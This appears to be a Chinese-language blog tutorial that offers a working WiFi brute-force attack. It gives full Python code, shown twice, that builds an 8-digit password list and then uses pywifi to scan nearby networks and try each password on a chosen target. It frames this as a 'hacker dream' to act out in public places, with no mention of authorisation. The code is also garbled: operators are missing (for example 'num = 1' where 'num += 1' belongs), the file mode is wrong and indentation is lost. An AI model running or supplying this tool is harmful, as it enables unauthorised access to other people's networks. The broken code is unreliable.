WiFi破解應該是我們每個人都有的黑客夢,在某個公共區域,打開電腦,宛如黑客帝國裡的操作一樣,真帥,哈哈
首先假如WiFi密碼是8位數,
1、首先我們需要生成一個密碼本來記錄所有的可能的熱點密碼,這個密碼本中,需要列舉所有的密碼的可能性;
2、然後,用 Python 進行自動化的測試密碼直到連接成功為止。
一、代碼實現1、生成密碼本密碼本的生成其實比較的簡單了啦。
思路其實就是對8個位置循環生成0,1。。。。。9的數字。
具體的代碼如下:(8個循環嵌套)
import os
file_name = "making_pwd.txt"
f = open(file_name, "w ")
# 打開文件
for i in range(10):
# 第一層循環
for j in range(10):
# 第二層循環
for k in range(10):
# 第三層循環
for q in range(10):
# 第四層循環
for m in range(10):
# 第五層循環
for n in range(10):
# 第六層循環
for o in range(10):
# 第七層循環
for p in range(10):
# 第八層循環
insert_str = str(i) str(j) str(k) str(q) \
str(m) str(n) str(o) str(p)
# 數據的拼接以及數據類型的轉換。
print(insert_str)
f.write(insert_str)
# 寫入密碼
f.write("\n")
# 一個密碼換一次行
f.close()
# 關閉文件
print("一個密碼本生成完畢了!")
核心代碼就是這個循環嵌套,本質也是十分簡單的啦:
下面再展示一遍核心代碼
file_name = "making_pwd.txt"
f = open(file_name, "w ")
# 打開文件
for i in range(10):
# 第一層循環
for j in range(10):
# 第二層循環
for k in range(10):
# 第三層循環
for q in range(10):
# 第四層循環
for m in range(10):
# 第五層循環
for n in range(10):
# 第六層循環
for o in range(10):
# 第七層循環
for p in range(10):
# 第八層循環
insert_str = str(i) str(j) str(k) str(q) \
str(m) str(n) str(o) str(p)
# 數據的拼接以及數據類型的轉換。
print(insert_str)
f.write(insert_str)
# 寫入密碼
f.write("\n")
# 一個密碼換一次行
f.close()
這樣生成的文件比較大,但是也沒有辦法了:
2、利用密碼本進行自動化的測試
首先說一句,我們需要安裝 pywifi 這個模塊,沒有這個模塊的小夥伴可以先安裝一下。
然後,我們呢,直接上完整的全部的代碼,代碼的解析在注釋裡面都有,注釋有詳細的代碼解釋:
import pywifi
import time
from pywifi import const
# 導入模塊
# WiFi掃描模塊
def wifi_scan():
# 初始化wifi
wifi = pywifi.PyWiFi()
# 使用第一個無線網卡
interface = wifi.interfaces()[0]
# 開始掃描
interface.scan()
# 顯示掃描的信息。
for i in range(4):
time.sleep(1)
print('\r掃描可用 WiFi 中,請稍後。。。(' str(3 - i), end=')')
print('\r掃描完成!\n' '-' * 38)
print('\r{:4}{:6}{}'.format('編号', '信号強度', 'wifi名'))
# 掃描結果,scan_results()返回一個集,存放的是每個wifi對象
bss = interface.scan_results()
# 存放wifi名的集合
wifi_name_set = set()
for w in bss:
# 解決亂碼問題
wifi_name_and_signal = (100 w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
# 存入列表并按信号排序
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# 格式化輸出
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num = 1
print('-' * 38)
# 返回wifi列表
return wifi_name_list
# WIFI破解模塊
def wifi_password_crack(wifi_name):
# 字典路徑
wifi_dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:")
with open(wifi_dic_path, 'r') as f:
# 遍曆密碼
for pwd in f:
# 去除密碼的末尾換行符
pwd = pwd.strip('\n')
# 創建wifi對象
wifi = pywifi.PyWiFi()
# 創建網卡對象,為第一個wifi網卡
interface = wifi.interfaces()[0]
# 斷開所有wifi連接
interface.disconnect()
# 等待其斷開
while interface.status() == 4:
# 當其處于連接狀态時,利用循環等待其斷開
pass
# 創建連接文件(對象)
profile = pywifi.Profile()
# wifi名稱
profile.ssid = wifi_name
# 需要認證
profile.auth = const.AUTH_ALG_OPEN
# wifi默認加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
# wifi密碼
profile.key = pwd
# 删除所有wifi連接文件
interface.remove_all_network_profiles()
# 設置新的wifi連接文件
tmp_profile = interface.add_network_profile(profile)
# 開始嘗試連接
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
# 接口狀态為4代表連接成功(當嘗試時間大于1.5秒之後則為錯誤密碼,經測試測正确密碼一般都在1.5秒内連接,若要提高準确性可以設置為2s或以上,相應暴力破解速度就會變慢)
if interface.status() == 4:
print(f'\r連接成功!密碼為:{pwd}')
exit(0)
else:
print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')
# 主函數
def main():
# 退出标緻
exit_flag = 0
# 目标編号
target_num = -1
while not exit_flag:
try:
print('WiFi萬能鑰匙'.center(35, '-'))
# 調用掃描模塊,返回一個排序後的wifi列表
wifi_list = wifi_scan()
# 讓用戶選擇要破解的wifi編号,并對用戶輸入的編号進行判斷和異常處理
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('請選擇你要嘗試破解的wifi:'))
# 如果要選擇的wifi編号在列表内,繼續二次判斷,否則重新輸入
if target_num in range(len(wifi_list)):
# 二次确認
while not choose_exit_flag:
try:
choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},确定嗎?(Y/N)'))
# 對用戶輸入進行小寫處理,并判斷
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
# 處理用戶其它字母輸入
else:
print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o')
# 處理用戶非字母輸入
except ValueError:
print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o')
# 退出破解
if choose_exit_flag == 1:
break
else:
print('請重新輸入哦(*^▽^*)')
except ValueError:
print('隻能輸入數字哦o(* ̄︶ ̄*)o')
# 密碼破解,傳入用戶選擇的wifi名稱
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
# main 函數 進行一個測試
main()
這裡需要注意下,我們需要手動選擇密碼本來進行測試,手動選擇密碼本!!
下面我們分模塊進行展示與解說:
導入模塊:
import pywifi
import time
from pywifi import const
# 導入模塊
這個是定義的使用的掃描WiFi的一個方法,這個方法實現的功能是掃描局域網範圍内部的所有可以連接的WiFi,然後打印出來:
# WiFi掃描模塊
def wifi_scan():
# 初始化wifi
wifi = pywifi.PyWiFi()
# 使用第一個無線網卡
interface = wifi.interfaces()[0]
# 開始掃描
interface.scan()
# 顯示掃描的信息。
for i in range(4):
time.sleep(1)
print('\r掃描可用 WiFi 中,請稍後。。。(' str(3 - i), end=')')
print('\r掃描完成!\n' '-' * 38)
print('\r{:4}{:6}{}'.format('編号', '信号強度', 'wifi名'))
# 掃描結果,scan_results()返回一個集,存放的是每個wifi對象
bss = interface.scan_results()
# 存放wifi名的集合
wifi_name_set = set()
for w in bss:
# 解決亂碼問題
wifi_name_and_signal = (100 w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
# 存入列表并按信号排序
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# 格式化輸出
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num = 1
print('-' * 38)
# 返回wifi列表
return wifi_name_list
這個是使用密碼本來進行密碼的自動化測試的函數:
# WIFI破解模塊
def wifi_password_crack(wifi_name):
# 字典路徑
wifi_dic_path = input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:")
with open(wifi_dic_path, 'r') as f:
# 遍曆密碼
for pwd in f:
# 去除密碼的末尾換行符
pwd = pwd.strip('\n')
# 創建wifi對象
wifi = pywifi.PyWiFi()
# 創建網卡對象,為第一個wifi網卡
interface = wifi.interfaces()[0]
# 斷開所有wifi連接
interface.disconnect()
# 等待其斷開
while interface.status() == 4:
# 當其處于連接狀态時,利用循環等待其斷開
pass
# 創建連接文件(對象)
profile = pywifi.Profile()
# wifi名稱
profile.ssid = wifi_name
# 需要認證
profile.auth = const.AUTH_ALG_OPEN
# wifi默認加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
# wifi密碼
profile.key = pwd
# 删除所有wifi連接文件
interface.remove_all_network_profiles()
# 設置新的wifi連接文件
tmp_profile = interface.add_network_profile(profile)
# 開始嘗試連接
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
# 接口狀态為4代表連接成功(當嘗試時間大于1.5秒之後則為錯誤密碼,經測試測正确密碼一般都在1.5秒内連接,若要提高準确性可以設置為2s或以上,相應暴力破解速度就會變慢)
if interface.status() == 4:
print(f'\r連接成功!密碼為:{pwd}')
exit(0)
else:
print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')
這個函數是進行實際的操作來實現我們所想要的功能。
# 主函數
def main():
# 退出标緻
exit_flag = 0
# 目标編号
target_num = -1
while not exit_flag:
try:
print('WiFi萬能鑰匙'.center(35, '-'))
# 調用掃描模塊,返回一個排序後的wifi列表
wifi_list = wifi_scan()
# 讓用戶選擇要破解的wifi編号,并對用戶輸入的編号進行判斷和異常處理
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('請選擇你要嘗試破解的wifi:'))
# 如果要選擇的wifi編号在列表内,繼續二次判斷,否則重新輸入
if target_num in range(len(wifi_list)):
# 二次确認
while not choose_exit_flag:
try:
choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},确定嗎?(Y/N)'))
# 對用戶輸入進行小寫處理,并判斷
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
# 處理用戶其它字母輸入
else:
print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o')
# 處理用戶非字母輸入
except ValueError:
print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o')
# 退出破解
if choose_exit_flag == 1:
break
else:
print('請重新輸入哦(*^▽^*)')
except ValueError:
print('隻能輸入數字哦o(* ̄︶ ̄*)o')
# 密碼破解,傳入用戶選擇的wifi名稱
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
執行代碼的一個接口:
if __name__ == '__main__':
# main 函數 進行一個測試
main()
四、後續總結
以上呢,就是我們的使用 Python 工具 Pycharm 來進行破解WiFi的密碼的一個案例的介紹,這種方式比較傻瓜式而且暴力,遇到複雜的密碼可能就不行了,耗時太多。
,